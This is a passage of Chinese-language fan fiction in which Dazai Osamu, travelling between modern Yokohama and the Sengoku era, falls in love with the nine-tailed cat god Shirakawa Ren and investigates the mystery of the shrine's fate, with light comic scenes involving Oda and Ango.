自觉自己这一辈子的脸都丢尽了的人类,在羞耻气愤得几乎发抖得混乱中,毫不留情地伸手,要把白川莲内里的那层衣服也撕掉。
不过很遗憾,那层衣服似乎是妖力幻化的,不用太宰治伸手去撕,而只是刚一上手触碰,衣服就碎裂消失了。
无处泄气的太宰治昏了头,双手用力掐住白川莲的肩膀,一口咬在白川莲的喉结上,可只是一瞬间,他像是烫到般松口,有瞬间气虚,但松口想想又觉气不过,于是转口咬在脸颊上。
这咬来咬去的样子,与其说是发火,不如说是撒娇。
是张牙舞爪的,如猫咪一样的撒娇。
虽然利爪会带给人来疼痛,虽然凶起来的样子十分可怕,但猫猫神非常肯定也非常熟悉这个姿态——
就是非常可爱的撒娇。
所以,猫猫神不但没有生气,反而笑了起来,神色柔和,轻轻抚摸人类柔软的头发,无声安抚。
于是,慢慢的,冷静下来的太宰治也松了口,拉开了一点距离,借着细微的月色凝视面前的这个人。
【好像……每次都是这样。】
恍惚间,太宰治想着。
好像每一次,当他想要离开,或者仅仅是拉开两人之间的距离,这可恶的猫就会做出什么可恶可怕的事来,强行打碎太宰治竖起的那一面墙。
太可恶了。
这只猫。
就好像这只猫的所有聪明才智,都用在怎么对付他太宰治身上了。
太过分了!
黑暗中,太宰治的呼吸趋于平稳,那些曾经让他难耐不安的躁动,还有自己解决后的空虚厌恶,都消失不见了。
只有白川莲的气息——像雪一样冷清又带着滚烫热度的气息,将他的每一根发丝都浸透。
暖洋洋的。
让人安心。
轻飘飘的。
柔软得像是梦。
这些东西太令人留恋了,太宰治本来应该恐惧这样的一切的,就像是恐惧随时有可能踩空的黑暗与坠落。
可当他回过神时,太宰治才发现自己原来不知道什么时候挤进了白川莲的怀里,紧紧抱住了这只雪色的猫妖。
以一种充满了贪念和占有欲的姿态。
【我的。】
太宰治无意识地用脸在白川莲肩上蹭了蹭。
哪怕他心中回荡着无数阴暗晦涩的念头,表情却是无辜无害极了。
【是我的!】
都已经到了这一地步了。
已经再也没有办法回头、没有办法做“朋友”了,所以——
这只猫,必须是他的!
【谁都不能抢走,哪怕是命运和时间都不行!】
不知道为什么,这一刻,太宰治听到这只猫妖又笑了一声。
声音带着让太宰治耳根都有些发麻的痒意。
太宰治察觉微妙,抬头探究看他。
而那只猫妖只是笑着,轻轻靠近,雪白的睫毛就像是春雪,每一次轻轻的眨动,都会软软地落在他心上。
“你的愿望是什么?”
“愿望?什么愿望都可以吗?”
黑暗中,人类的声音柔软,是刻意拿捏过的颤抖,以及小心隐藏起来的超小气与占有欲。
猫妖又笑了一声:“什么都可以。”
人类垂眼沉默了一会儿,再仰头看他时,鸢色的眼里闪着细碎而漂亮的光。
“亲我。”
猫妖一怔。
“亲我。”人类说,“这就是我的愿望。”
【爱我。】
【最爱我——永远都要爱我!】
猫妖又一次笑了起来。
温柔的亲吻落下,落在人类的唇上。
是珍重,是怜惜.
是爱。
【原来如此。】
这一刻,太宰治恍惚了一下。
【原来……这才是爱。】
不仅激素,不是冲动,也不是身体的躁动难耐。
爱就是爱。
爱只是爱。
它不复杂,却也不简单。
太宰治喟叹一声,仰头轻轻回吻。
冰冷的雪天,满月夜里,太宰治闭上眼,却感到了暖洋洋的晨光。
【我完了。】
他无比清晰地认知到这件事。
21.021 养猫
虽然头天晚上还被恶猫狠狠玩弄了数次,让太宰治想要杀猫的心都有了,但第二天,太宰治还是早早醒来。
被热醒的。
太宰治扒开身上搭着的九条尾巴,从地上捡起衣服穿上后,便把那只在神台上懒洋洋打滚的猫丢在身后,准备去外头看看。
当然,绷带就算了,昨天晚上已经被猫抓得一团乱了,太宰治可不想把这种东西往自己身上缠。
但是,没有绷带果然很不习惯,太宰治已经很久没有这样“赤|裸”过了,而且因为某些事,他还不能立即返回现代,因此太宰治没走两步,又回过头,用力把猫按住,泄愤式地一顿揉搓。
白天的猫和昨晚的猫大不一样,性格乖巧极了,似乎是“神”的那一面占了上风,不但皮毛雪白雪白的,还半点不反抗,就连眼睛都没有睁开,只蜷着爪子任人蹂躏。
哦,说错了,也不是那么乖。
因为这恶猫仗着自己尾巴长,正偷偷把尾巴搭在太宰治的腰上,甚至还想继续向下,但被太宰治一把抓住。
——果然这猫就是天性恶劣,跟“妖魔”的那一面没有任何关系!
一想到昨晚被恶猫强取了好几次最后险些真的玩了某些羞耻play的事,太宰治忍不住又是一阵杀气腾腾。
不过,说起白川莲的真正模样,太宰治也是昨天晚上才知道,那其实是一只足有数十米高、长着九条可怕长尾的巨型猫妖。
所以,哪怕是昨晚在神殿内显露的三米多高的兽形,都是白川莲缩小后的模样。
而在更多的时候,至少是在太宰治面前,白川莲会选择以更半米多高的普通长毛白猫的模样出现,并且日常习性也与猫什么太大区别……这说得有点像废话了,毕竟白川莲这家伙,本来就是猫啊!
瞧,当脱掉人类赋予他的厚重神衣后,神台上的那只猫,哪怕有着九条尾巴,却不也与任何猫一样吗?
毛茸茸,软绵绵,躺平后就直接变成了一张长长的猫毯。
并且,还是温度特别高的猫毯。
当被这只猫毯卷进怀里后,人会感到自己像是被塞进了大被炉里。
所以,太宰治即便昨晚在雪夜的冰冷神殿内睡了一夜,醒来后也没有感到半点寒冷,反而一阵口干舌燥。
果然人类的体温就是比不过猫。
想到这里,太宰治又瞥了一眼白川莲,看着神台上那只的家伙,愤愤地上手又揉了两把。
可恶的猫!
把这只猫从头到尾RUA了两遍,算是满足了自己十五岁那年的理智与克制后,太宰治终于离开了本殿,混入了前来参拜的人群中。
此时,离太宰治上次来到神社的那一天,已经过去一年时间,无论是神社里的人还是猫,都已经不记得太宰治的样貌与气息,大大方便了太宰治接下来的行动。
当太宰治来到拜殿后,他第一眼依然是被御神木上的那一根红色注连绳吸引。
这是一种奇妙的感觉,就好像无论从哪个方向路过这里、无论站在什么角度,只要他抬起头,就会第一时间看到这根红色注连绳。
太宰治当然不会忽略这样的奇异景象。
但他也同样很难得出结论与真相。
特别是在周围所有人与妖都认为这是“正常情况”的时候。
“难道……这就是这个时代的‘神’的特殊性吗?”
目前来看,或许也只有这个解释了。
“参观”过平平无奇的拜殿,又“路过”长得几乎看不到尽头的鸟居,“无意间”来到供奉着最初那个无名神的摄末社的太宰治,扫视一圈,发现这里虽然打扫得十分干净,但却人迹寥落,想来是很久都没有人过来特意参拜了。
所以,会是“祂”吗?
以太宰之心揣度,如果有一天,白川莲真的放弃了神社的一切,不再当他的“白川之主”了,那么其中最关键的理由,绝不可能是“被人类恋人辜负”。
是的,事到如今,太宰治还有什么不明白的?
这是一个命运的玩笑、时间的诡计。
在横滨无名神口中的那个“五百年前抛弃了白川莲,令白川莲对人类彻底失望,最后放弃作为神的一切,带着整个神社落入常世的人类恋人”,只可能是他太宰治了。
可是,这段话只有一半是正确的。
因为太宰治非常清楚,他是一个非常小气的人,是有着比野兽更强烈领地感的人。
凡他得到手的东西,怎么可能轻易放手?
所以,在五百年前的这次事件里,一定有什么环节出了问题!
虽然,如今的太宰治其实还没有想好,他究竟是该顺从命运,完成这场时间的诡计,令这个莫比乌斯环严丝合缝地扣上,还是彻底掀翻这一切,走向另一个新的未来。
可无论太宰治选择哪个未来,他都必须要弄明白一件事——
五百年前的白川神社以及选择带着整个神社沉入常世的白川莲身上,究竟发生了什么。
是阴谋还是巧合?是刻意还是无意?
假设这件事背后真的有一个幕后黑手,谁更有动机?谁更能得利?
时隔五百年,太宰治目前知道的信息并不够多,但五百年后那个恰好在横滨徘徊、并让太宰治恰好得知了“真相”的无名神,却令太宰治对摄末社的这一位无名神起了疑心。
想一想吧,这个无名神的经历
最初的最初,一百多年前,这条白川之上有且仅有一位神灵,一座神社,而白川莲,只不过是被供奉这位神灵的神主捡回神社的一只猫而已。
可一百多年后,白川莲成为了白川之主,而那个曾经庇护过白川莲的神社的主人,却成为了白川莲的附属神,被供奉在白川莲的摄末社里,就连神命也依然不得而知,只被人称作一句“无名神”而已。
在这个神明与妖魔都真实存在、有喜恶也有欲望的时代里,这位“无名神”真的甘心如此吗?
如果祂不甘心的话,祂又会为此做出些什么呢?
站在小型神社前,太宰治在殿外止步。他遥遥望去,目光抵达这座小小神殿的深处,见到神台上供奉着的那个神明雕像,模样古拙,一看就历史悠久。
但,最重要的是,它竟然与太宰治十三岁那年流浪到横滨时,在树洞里看到的那座小神龛里的神明雕像一模一样!
是答案?是障眼法?还是又一个阴谋?
太宰治远远看了一眼,转头离开。
之后,太宰治并没能按照计划,把白川神社的情况全都摸一遍。
这倒不是因为白川神社里的这些小猫妖们有多么警觉,阻止了太宰治的打探,而是某只大猫终于睡醒,溜出神殿来找他了。
最开始,当太宰治在雪地里看到有一只白猫在远远看他时,他并没有第一时间认出那就是白川莲,而以为那是白川神社的一众猫妖之一。
这不能怪太宰治,实在是白川莲那恶猫在五百年前和五百年后,猫样有相当大变化。
对不养猫的人来说,猫咪的样子可能都是千篇一律的,就连“好看”都是复制黏贴型的好看,所以想要让人类像认人一样精准地认出猫来,那是很难做到的。
可自认猫咪饲主的太宰治,当然认得出自己的猫。
在太宰治的记忆里,白川莲的猫样不仅仅限于“漂亮”一词,而几乎能用“端庄秀丽”来形容。
白川莲的毛发是白色的,如雪一样、却又比雪更具有光泽,像是满月夜下流动的银,
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漂亮极了;白川莲的毛发也很长,几乎达到了30cm,偏偏看起来一点都不笨重臃肿,反而有种非常可爱的毛绒感扑面而来。
更重要的是,白川莲的姿态雅丽,黄澄澄的猫瞳柔和,虽然从某些角度看上去莫名幽深,但其实并不常显露攻击性。
所以,端庄秀丽的美丽小废物——这就是现代白川莲的猫形态给人的最大感受。
作为一个心思阴暗的家伙,太宰治其实一直怀疑白川莲的那副可爱模样是恶猫的刻意伪装,就为了接近和欺骗当年还是无知孩童的他。
但怀疑归怀疑,太宰治到底还是熟记了白川莲的猫咪模样,认为自己哪怕路上在猫群里与对方偶遇了,都能直接上前把猫一把端走。
这就是身为猫咪饲主的自信!
可这一次,在这个古老的时代,出现在太宰治面前的这只白猫,除了“白色长毛”和“黄色猫瞳”之外,一切的一切,都似乎与“白川莲”这个人半点也不相关。
它的毛发是白的,但并不是满月下雪色上流转的银,而是如雪一样的冷白,就好像它根本就是由雪堆成的。
它的猫眼是黄色的,这是野兽中非常常见的虹膜颜色,所以它给人的感觉,也如那些无情残忍、不可预测的野兽一样危险。
而与此同时,它甚至还是英俊的,顾盼之间,一种说不清道不明的冷峻傲气浮动,以致于有些时候甚至会以为它并非猫妖,而是人化成的猫!
一个是英俊的野兽,一个是美丽小废物。
太宰治第一眼没认出来是完全可以理解的。
可当太宰治看了第二眼、第三眼、第四眼后,他感到了不对:这只猫,怎么看起来那么像是早上躺平的那张猫毯?
第五眼,太宰治确认了。
这真的是他的猫!
怎么同一只猫,五百年前五百年后、睁眼闭眼的差别都这样大?
正当太宰治站在原地愕然时,雪地中,那只大变样的猫轻轻张嘴。
“喵~”
不是五百年后那只恶猫刻意拿捏的、百转千回的可爱嗓音,而是一种含蓄轻柔的、甚至带了些不好意思的声音,像是很少发出猫咪的叫声,所以在张口的第一时间,就感到了不好意思。
这样的“不好意思”,就像是钩子一样,瞬间把太宰治心中的坏心思钓了出来,让太宰治想要上前捏住这猫的脸蛋,让猫再好好给他喵几声来听。
并且,要喵得特别害羞、特别不好意思、特别挣扎才行!
太宰治这样想着,也下意识向白川莲走了两步。
可是,太宰治一向前,猫就后退,而当太宰治停下时,坏猫又踩着雪向他靠近。
雪地里,猫微微歪头,漂亮的猫眼缓慢眨动,像是丢下一个个让人心痒的小钩子。
但太宰治不动如山:呵,猫的小把戏。
于是,接下来,太宰治只站在原地,不管猫咪怎么勾|引,都不再向前,打定主意要看这坏猫还准备对他使什么手段。
而很快的,太宰治看到了——
屡次前进后退、勾|引人类不成的猫,慢慢变得有些心急,还有些委屈,像是在控诉人类怎么不和它玩了。
而最后,当猫发现人类似乎真的不打算跟它玩游戏时,它心中委屈攀上最高峰,化作人形,直接将太宰治扑倒在雪地上。
积雪软软的,并且还有高于人类温度的手掌轻托在太宰治后脑和背上,所以太宰治甚至连冷都没感觉到。
可还没等太宰治为猫这份心意感动,下一秒,他就听到了猫的委屈控诉:“为什么不跟我玩?难道治君只喜欢昨天晚上的游戏吗?”
太宰治:“……”
多新鲜啊,他竟然还能被猫倒打一耙。
22.022 猫好
太宰治本该生气的。
毕竟从来只有他污蔑栽赃别人、让别人百口莫辩说不出话的份,哪里能容忍别人栽赃到自己头上?
可是……没有办法,猫真的很可爱。
猫是暖的。
明明看起来和雪一样冷,比五百年后的白川莲不好接近多了,但意外很擅长撒娇,看过来的眼睛里也全心全意都是他。
而且,猫只对他撒娇、只对他特殊。
只这一点,就非常符合太宰治心意。
同时,猫也非常好看。
无论是他猫咪形态的时候,还是人类形态的时候,都漂亮极了。
虽然很多时候,太宰治会在心里偷偷嘀咕,琢磨白川莲这家伙的人类形态之所以那么高,是不是早就预料到了他以后会长得很高、刻意想压他一头,所以才会高得那么鹤立鸡群。
可漂亮就是漂亮。
猫就是漂亮得非常讨人喜欢。
甚至猫还非常贴心非常聪明,而最聪明的是,猫还非常懂得伪装这一份聪明和贴心,把自己完美装成了一只笨猫,所以哪怕是太宰治这样边界感极强的人,最后也被这只猫偷偷挤进了心里。
这完全是猫的诡计!
可是……
可是,就算说一百遍“狡猾”,一千遍“不甘心”,一万遍“太可恶了”,可爱就是可爱。
猫就是非常可爱。
所以,哪怕被猫倒打一耙,太宰治也只是无语地笑了一声,随手抓起一团雪,捏紧,丢远。
“玩吧。”太宰治大发慈悲地说。
这一刻,按在太宰治身上的笨猫一愣,原本自然的竖瞳瞬间变圆了。
猫不可思议道:“你在把我当狗吗?”
太宰治故作惊讶:“诶呀,暴露了。”
猫以肉眼可见的速度炸毛了。
把一只可爱的、美丽的、充满魅力的猫猫比作狗——这无疑是对猫猫最大的侮辱!
太宰治坏心眼地看猫炸毛,做好了接下来人猫大战的准备。
就让他来看看五百年前的白川莲有什么耍赖的招式吧!
而果然,就和太宰治想的一样,炸毛的猫超凶地开始挠人了。
可又和太宰治想的不一样的是,这只猫挠人的方法和他记忆中的……完全不一样。
先是放大的脸,然后是唇上湿漉漉温度。
被……亲了?
不,是被舔了!
这个猫性不改的家伙!
这一刻,太宰治心中不自在极了,与白川莲接触的位置哪怕隔着厚厚的衣物,也难以控制地战栗起来。
他很难分清这是因为自己难以适应这样被控制在别人身下、无法后退也无法逃跑的境地,还是因为一些更隐秘而羞耻之事。
哪怕昨天晚上,两人早就做了更过分的事,但是那些事对于一个羞耻心异于常人的人来说,也只不过是一种有点过火的另类的游戏罢了。
可是,亲吻的涵义是不一样的。
而且还是以这个姿势亲吻……
果然还是要赶快跑掉!
果然还是要再等一等!
太宰治又想要溜了。
最好是溜到一个短时间内无法被猫打扰、不会被猫干扰思考的地方!
可是,被猫抓住的猎物,又怎么可能会被放走?
所以,最初的那一两秒,白川莲还只是如猫一样的在太宰治唇边轻轻厮磨,用他长满细密柔软倒刺的舌头轻轻舔着,细细咬着。
这是猫咪之间常见的亲昵方式,除了位置恰好在唇上。
而之后,很快的,当白川莲发觉了太宰治的退缩、发现了这个坏心眼的人类竟然因为这样的小事开始想要跑路时,性格恶劣的猫便用他超绝的坏心天赋,令这场亲昵的厮磨开始变味。
先是用尾巴缠住偷偷跑路的人类的腰,把对方重新拖回身下,然后在喉结上,也就是昨天人类气急咬过又慌张松口的地方,张嘴,轻咬。
“唔……”
果然,就和猫想的一样,人类发出了一个甜蜜的气音,胸膛用力起伏,像是要把什么东西用理智压下去。
猫不喜欢这样。
特别是当这个人类竟然还挣扎着想要逃跑的时候。
于是猫开始偷偷作弊,去倾听人类的愿望、听他真正想要之物。
可很奇怪,人类此刻的【愿望】一团混乱,于是猫看了看人类下意识后仰的脖颈,恍然大悟:
这一定是鼓励!
猫张嘴,再次轻咬了下去,甚至还用力舔了一口。
“不、不准!可恶的猫……昨天你还没玩够吗!”
人类的气恼地说着,声音越发不稳,手指也按住白川莲的后脑,抓紧了他的头发。
对猫来说,这依然是鼓励!
于是猫把人类往下拖了拖,再次亲上了那个抗拒感最强烈的位置,嘴唇。
猫无师自通,先是亲,再是舔,最后趁着人类想骂他的时候,直接闯了进去,舔了又舔,直到人类发出比昨晚更甜蜜也更委屈的声音。
真奇怪。
猫想。
为什么会反应这么大?
猫好奇拉开人类遮住自己脸的手,看着那张像是羞耻到无地自容的脸,心脏在怦怦跳着。
为什么会这么害羞?
明明只是一个很普通很单纯的举动,为什么却像是他并非在亲吻人类的唇,而是将人类的胸膛剖开来,把玩着人类的心?
奇怪。
真的好奇怪。
那就——
多试两遍。
于是,不等人类回过神来,白川莲又亲吻了上去。
白川莲的一条尾巴控制着想要逃跑的人类的腿,第二条尾巴拽着人类不安分的腰,第三条尾巴捆住人类想要遮住他自己的脸的手,举过头顶。
而白川莲自己的手,则捧着这张过分漂亮并慢慢变得潮湿的脸,一边一遍遍加深这个亲吻,一边轻轻摩挲着。
他们每一次直接的接触,都会引起那一小块皮肤下的阵阵颤抖。
是怯缩的、下意识想要回避的。就和它的主人一样,第一时间的反应总是想要逃跑。
可是,在白川莲耐心的安抚下、一遍遍的抚摸下,那样的颤抖又慢慢化作了依恋。
这一刻,猫和人的角色似乎倒了过来。
明明白川莲才是真正的猫,可被他亲吻的人类,却比他表现得更像是猫咪,哪怕他给白川莲甩脸色,嘴里还呜咽着拒绝的话
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,可他的猫尾巴——他的身体、他的每一个细微反应,都表示他其实已经接受了白川莲的戏弄,并且乐在其中。
如果人类真的有一条猫尾巴,那么想必此刻的这条尾巴,一定正紧紧缠住白川莲不放。
口是心非。
可爱。
再多亲亲。
猫猫神猫心大悦,捧住人类的脸,在那唇上亲了又亲,亲了再亲,直到亲得人类薄唇发红,额上的发丝被汗水濡湿,连气都要喘不上、更说不出骂猫的话后,这才舔了舔唇角,意犹未尽得结束了这场折磨人的亲吻。
“来吧。”
等人类终于喘匀了气回过了神后,白川莲好奇捏了捏人类的手指,克制住舔一舔尝尝味道的冲动,拉他站起来,接着指了指白川神社外不远处的山,说:“我带你去山上吧,治君。”
太宰治看了白川莲一眼:“为什么要去山上?”
白川莲说:“我看到,治君好像一直想要在神社里找什么东西。”白川莲用野兽独有的直觉、独有的天真说道,“找东西的话,在高处看会更好吧?”
原本还在直视白川莲的太宰治这瞬间呼吸凝滞,下意识撇过头去,移开了与白川莲对视的目光。
白川莲好奇侧头,发现此刻人类的【愿望】又变得一团混乱了。
“就算……是这样……”太宰治嘟哝着。
那声音轻轻的,就连白川莲这个猫猫神都没有听清。
白川莲歪头:“什么?”
太宰治依然没有看白川莲,以一种古怪的别扭、如是第一次主动撒娇的小猫那样,用不熟练的姿势捏着白川莲的衣角,小声说:“我已经很喜欢你了。”
所以?
白川莲缓慢眨眼。
太宰治声音越发小了:“所以,就算你这么做……我也没办法更多喜欢你一些的。”
白川莲惊讶地睁圆了眼。
而下一秒,白川莲就笑了起来,并在人类因别扭而炸毛前抱住了他。
没有让人类看到猫咪的笑,也没有让猫看到人类的不自在。
既靠近,又远离。
是猫咪最喜欢的距离。
“好的,我知道了。”
猫猫神都明白的。
这个年轻人类有时候会显得冷漠,有时候会显得疏离,有时候甚至会主动离开拉远距离——这一切的距离感和不可捉摸感,对于普通人来说或许会显得格外冷淡,但这其实已经是人类最喜欢你的表现啦!
这样的事,猫猫神怎么会不明白呢?
白川莲并不常笑,但不知道为什么,在面对这个人类的时候,他似乎总是在笑。
“别害怕,我全都知道。”
白川莲轻轻抚摸着人类的后背,像在安抚自己心爱的猫。
他什么都没说。
也什么都说了。
“我会一直都在这里。”
他会一直在这里,在你看得到摸得着的地方。
所以,不要害怕变幻莫测的人心,不要害怕被突然丢下,也不要害怕因一个细节就失去自己的重要之物,更不要害怕不可知的未来。
因为,早在第一次见面的时候就承诺过了——
会一直一直,陪伴在你身边。
23.023 三年
主动将他人带入自己的领地,对猫科动物来说,这就是最高级别的亲昵与喜爱了。
而对宰科动物来说,最高级别的亲昵与喜爱,则是撕裂自己谎言的面具、以最笨拙羞耻的真心示人。
就像是这一刻。
当然,对于猫来说,他其实并没有想到这么多、想得这样深——因为他辨识善恶、辨识真假,也辨识愿望的直觉,替代他处理了这段复杂的思考流程。
所以最后,一人一猫殊途同归,得出了相同结论:
猫好!
不过,这些或许都不是最重要的。
最重要的是,从这一天之后,有什么东西彻底地改变了。
那个一直在思考,一直在犹疑,甚至一直在回避的人类,终于坦然面对了自己就是想要留下这只猫的事实。
不想要失去这只猫。
所以——
太宰治想要改变白川莲的命运。
·
在19岁到22岁的三年里,太宰治开始频繁地在现代与战国时代往来。
因现代的时间与战国的时间并不同步,往往现代才过去了一天,战国时代就可能过去了四五六天,有时候甚至过去了十天半个月。
这样不确定的时间流速有个坏处,那就是让太宰治并不能完全掌控自己穿越的事件,以及两个时代下各自的事件发展。
对于控制狂来说,这件事简直令人抓狂。
更让人抓狂的是,不仅所有名为“白川”的河流都会将太宰治带去战国,甚至有时候,太宰治只是打算在横滨的某条河底躺一躺、看看天、吐个泡泡之类,都有概率意外穿越!
实在是意外性拉满。
但不得不说,这样的意外性也带来了一个好处,那就是期待感。
每一次的分别,都会期待下一次的再见,而每一次的重逢,都是最甜蜜的热恋。
这让太宰治不太开心的同时又微妙的有点开心。
与此同时,这三年里也发生了很多很多事。
无论是现代和战国时代都是。
在现代,值得一提的约莫只有两件事。
第一件事就是织田作之助夭折的全职作家之梦。
当年,和太宰治差不多时间离开港口mafia的织田作之助,也和太宰治花了差不多的时间洗白。
但不同于知道自己过不了安分日子的太宰治,织田作之助其实是怀抱一个安静写书、安静养老养孩子的梦想的,所以,当太宰治加入武装侦探社时,织田作之助则是正式决定要开始写小说了。
织田作之助写小说的路顺利也不顺利。
顺利的意思是,织田作之助的确没有辜负当年那位先生的期待,以一篇短篇故事一鸣惊人、开启了自己小说家的生涯。
不顺利的意思是——
咕咕咕。
织田作之助在书桌前枯坐到天明后,摸了摸自己写完一篇小说后变得空空如也的脑袋,又看了看身旁嗷嗷待哺的孩子们,终于恍然醒悟:写小说死路一条!
还是得干个兼职。
一旁,早在织田作之助无限拖稿时就预见到了这一天的太宰治,笑嘻嘻递上了武装侦探社的名片。
至此,除国木田外,太宰治又多了一个可以在工作时理直气壮划水摸鱼拖后腿还一定会有人给他收拾烂摊子的同事。
不过,当织田作之助成为正式社员后,在分配员工宿舍时倒是遇上了一点问题,那就是织田作之助家的人口太多,并且日后肉眼可见还会继续增多。
这个时候,织田作之助再和武装侦探社的大家一起住就不合适了。
“所以这就是你们把我拉出来的原因?帮你们买房子?”坂口安吾额上青筋直跳,“你们到底把我当什么——”
太宰治迅速接话:“当可悲的社畜啊。”
坂口安吾:口_口
在遭受了小恶魔,不,大恶魔的暴击后,还是织田作治愈人心。
“太宰说这件事只有安吾你可以给出最好的答案,但这件事还是看安吾你方不方便,不方便的话我和太宰去看也没问题。”
坂口安吾:“……”
让太宰去看?
别最后看出一堆案件和凶房吧?
这不是坂口安吾不相信太宰治,而是他太相信这个蛊惑人心的恶魔了。
于是最后,坂口安吾咬牙说:“可以。”
真诚是最大的必杀技。
坂口安吾就是这样被织田作的真诚和太宰治的“真诚”套牢的。
但转头,坂口安吾狐疑间,又试探问太宰治道:“太宰,你是不是……早就看好了?”
太宰治眨眨眼,竟然厚颜无耻地承认了:“对啊。”
坂口安吾:“……”
感情这小子把他叫出来,就是单纯使坏、想给他的工作拖后腿呢?!
社畜怎么你了?工作怎么你了?
他工作,他骄傲,不当薪水小偷他自豪!
而另一头,织田作之助也在偷偷问太宰治:“这样把叫安吾出来真的没问题吗?”
太宰治小声说:“人是不能一直当社畜的,会暴毙的哦,真的会暴毙的!所以我们做这种事完全是为了安吾好,当然没关系!”
织田作之助想了想,突然神飞一笔:“所以,太宰你行为方式的改变,也是遇到了那个为你好的人吗?”
太宰治一愣,而后忍俊不禁:“不一样啦!”
“也对。”织田作之助点头,“毕竟安吾被打断生活惯性后有些焦虑。”
而你却像是乐在其中的样子。
织田作之助的话没有说尽,但太宰治却已经扭开了头。
而当太宰治终于把头扭回来时,织田作之助又问道:“我们会见到那个人吗?”
太宰治喝了口酒,许久后,小声嘟哝:“那要等我装好猫爬架。”
织田作之助:“?”
最后,坂口安吾在太宰治的“真诚建议”下,看好了三套房子。
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并且这三套房子之间的位置还都挺近,于是干脆一人买了一套,当起了不是邻居的“邻居”。
而在这件事之后没多久,太宰治就得到了一本最新版的《完全自杀手册》,里面的很多自杀方式都给了太宰治全新的灵感。
只不过,为了达成“改变白川莲命运”这个目的、不愿在目标达成前就丢下那个笨猫早早死掉——想也知道,如果没有他的话,只靠那个笨猫自己肯定是没办法不做傻事的。
甚至,万一他中途死掉了,那个仅有0.1%可能、但也不是绝无可能的“辜负了白川莲的恋人”,真的跳出来了怎么办?
那个家伙会取代他吗?
那家伙会将白川莲拖入命运的永暗深渊吗?
那家伙——要让白川莲空等他五百年,一直从神等到妖,从生等到死为止吗?
不行!
这个绝对、绝对、绝对不行!
因为实在放心不下白川莲那只笨猫,也因为光是想一想“白川莲在太宰治死后爱上了另外一个不知道叫什么的乱七八糟的垃圾恋人并为了对方等待五百年”这件事就怒火中烧,气得死了都想揭棺而起爬回人间杀猫。
太宰治便没有再像年轻时那样,冒出一个念头后就迫不及待地去实验和实践,而是将书翻了翻后,依依不舍地放下了。
他叹了口气,沉重地想:傻猫,真是被你害惨了!
真不知道世上怎么会有白川莲这样又傻又笨的猫,一副随随便便就会被人骗走的样子,害得他这个人类还要为你操心……好好反省你自己啊!
以上,就是太宰治19岁至22岁期间,在现代经历的仅有的两件重要之事。
而在战国时期,太宰治所经历的事件中,能称得上“重要”一词的,或许仅有一件。
遗憾的是,这一件虽然与时间的诡计相关,但却似乎与白川莲解散神社的事并没有直接关系。
而这件事,还要从太宰治二十岁那一年,一个名为斗牙王的大妖怪的意外来访说起。
这名来访的大妖怪的身上,带着天下霸道之三剑,即铁碎牙、天生牙与丛云牙。
太宰治并不是第一次听到“斗牙王”这个名字,也不是第一次听到天下霸道之三剑。
可他却是第一次听到[天下霸道之三剑]到底是哪三剑!
这一刻,太宰治的目光不由得在白川莲腰间的刀上凝固了。
白川莲的剑,名为[神渡],是一把很符合他神道身份的剑。
可五百年后,那一柄救下餐厅老板和那几个孩子的刀,分明叫做[天生牙]!
太宰治之前并没有就这件事生过疑心,因为人并不是只能有一把刀,甚至一个人在不同的阶段能有好几把不同的刀。
可是,当这把刀是另一个大妖怪的成名宝刀时,这件事的性质就截然不同了。
太宰治的心倏尔沉了下去。
不知是否是错觉,在这样的时刻,太宰治嗅到了不详的气息。
24.024 起床
“起、床、了!莲,快起来快起来。”
武装侦探社员工宿舍不远处的公寓里,白川莲大清早就听到了人类的声音。
也不知道人类哪里来的活力,明明昨晚几乎折腾了一夜没有睡觉,前半夜在玩猫,后半夜在被猫玩,最后甚至都开始讨饶地跟他喵喵叫了,结果一到早上又像是被刷新了状态一样,精神百倍。
果然就像人类自己说的那样,“不会被玩坏的”是吧?
啧,人类。
不知不觉又变回猫的白川对人类的呼唤无动于衷,只以“五体投地”的姿势趴在榻榻米上,连耳朵都没有动一下,只一动不动地装死。
猫猫喜欢活泼的孩子,但太活泼的孩子哪怕是猫猫也带不动。
而且,猫可是夜行动物!甚至猫不用上班也不用上学,猫多睡一会儿怎么了?
白川猫打定了主意要装死。
可区区装死又如何能逃过人类的魔爪?
只见人类探手一捞,就把大猫咪提了起来,用力摇晃着手里长长一条的猫:“快起来,莲!我们今天还有事呢,而且——不是说好了不准老是变成猫吗?快点给我变回来!”
白川猫眼睛都没睁开,懒洋洋说:“可是,我就是猫啊。”
太宰治陷入了微妙沉默。
说实话,白川莲其实知道面前的这个人类在想什么,无非就是“我竟然喜欢上了一只猫”、“糟了我好像真的有点变态”、“算了只要他变成人形我就不是变态”之类。
说来说去,无非就是人类的那点微妙界限感和伦理感。
猫倒是没有人类的伦理感,也不在乎人类这点微妙的纠结,但这不妨碍猫在某些时候故意提起,惹人类炸毛,让人类不要再试图叫他起床。
就和人类会刻意在某些时候跟他喵喵叫一样。
都是一些浅薄但又非常有用的小把戏。
可让猫失算的是,人类沉吟片刻后,在猫几乎又要睡过去的时候蓦然开口说道:“那好吧,你变小一点。”
白川莲迷迷糊糊中以为还是昨晚,下意识回道:“都说了人形就是这么大,不是刻意变的,没办法缩——喵?!”
白川莲感到自己的脸被用力掐了一把,一个激灵,睁眼就看到了人类脸上阴森森的微笑:“清醒了吗,莲?”
白川莲:OwO
白川猫蜷着爪子,可爱咪呜,但见人类依然没有消气的样子,便砰的一声变成人形,一把抱住自己的人类恋人,把脸搁在对方的肩上,可爱地蹭来蹭去。
但,下一秒就被太宰治按在头上,无情推开。
白川莲坚持不懈,捧着太宰治的脸,在他的眼尾亲了亲,撒娇道:
“最喜欢治君了。”
太宰治哼了一声,像是冷笑,然后又一次伸手按住白川莲的脸,把他推开。
但是——
是在白川莲亲过他之后再推开的。
所以这不是拒绝,也不是讨厌。
而是在告诉猫:亲得不够,位置不对!
猫猫神顺利得出结论:要多亲。
于是白川莲按住这个比猫咪更像猫咪的人类,不顾他刻意的高声拒绝,把他亲了又亲。
白川莲低头亲在太宰治的脸颊:“最喜欢你了。”
太宰治板着脸把他推开。
白川莲又亲在太宰治的唇角:“治君是我见过最可爱的人。”
太宰治冷笑再推:“你在哄小孩子吗?”
白川莲轻轻吻在太宰治的唇上:“没有哄小孩子,只是在哄你,只会哄治君,因为我最喜欢你了。”
“……”
“喜欢你。”白川莲又一次亲吻在太宰治的眼尾。
而这一次,他轻轻闭上了眼睛。
“最喜欢你。”白川莲又一次亲吻在了太宰治的面颊。
这一次,他的脸上开始发烫。
“只是你,只有你,只喜欢你,最喜欢你,永远喜欢你。”白川莲又一次亲吻在了太宰治的唇上。
